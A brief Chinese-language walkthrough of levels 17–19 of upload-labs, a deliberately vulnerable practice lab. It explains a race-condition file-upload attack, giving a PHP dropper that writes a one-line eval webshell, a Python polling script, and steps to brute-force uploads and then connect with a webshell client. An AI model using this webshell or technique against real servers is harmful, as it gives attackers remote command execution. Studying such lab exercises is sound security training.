upload-labs-master通关攻略(17~19)
Pass-17
创建3.php
代码意思是将一句话木马写入webshell.php中
将3.php放入
上传时抓包发送到攻击器
清除payload位置
设计攻击属性
使用python写一个脚本,当ok时代表webshell.php被创建出来
//脚本,记得修改ip和文件名
import requests
url = "http://x.x.x.x/upload-labs/upload/demo.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
else:
print("NO")
攻击和脚本同时启动
webshell.php创建后就可以用蚁剑连接
Pass-18
将代码修改一下(Pass-16)
<?php fputs(fopen('webshell.php','w'),'<?php @eval($_POST["cmd"])?>');?>
将修改后的文件放入
之后就和17关一模一样
Pass-19
创建1.php
<?php phpinfo();?>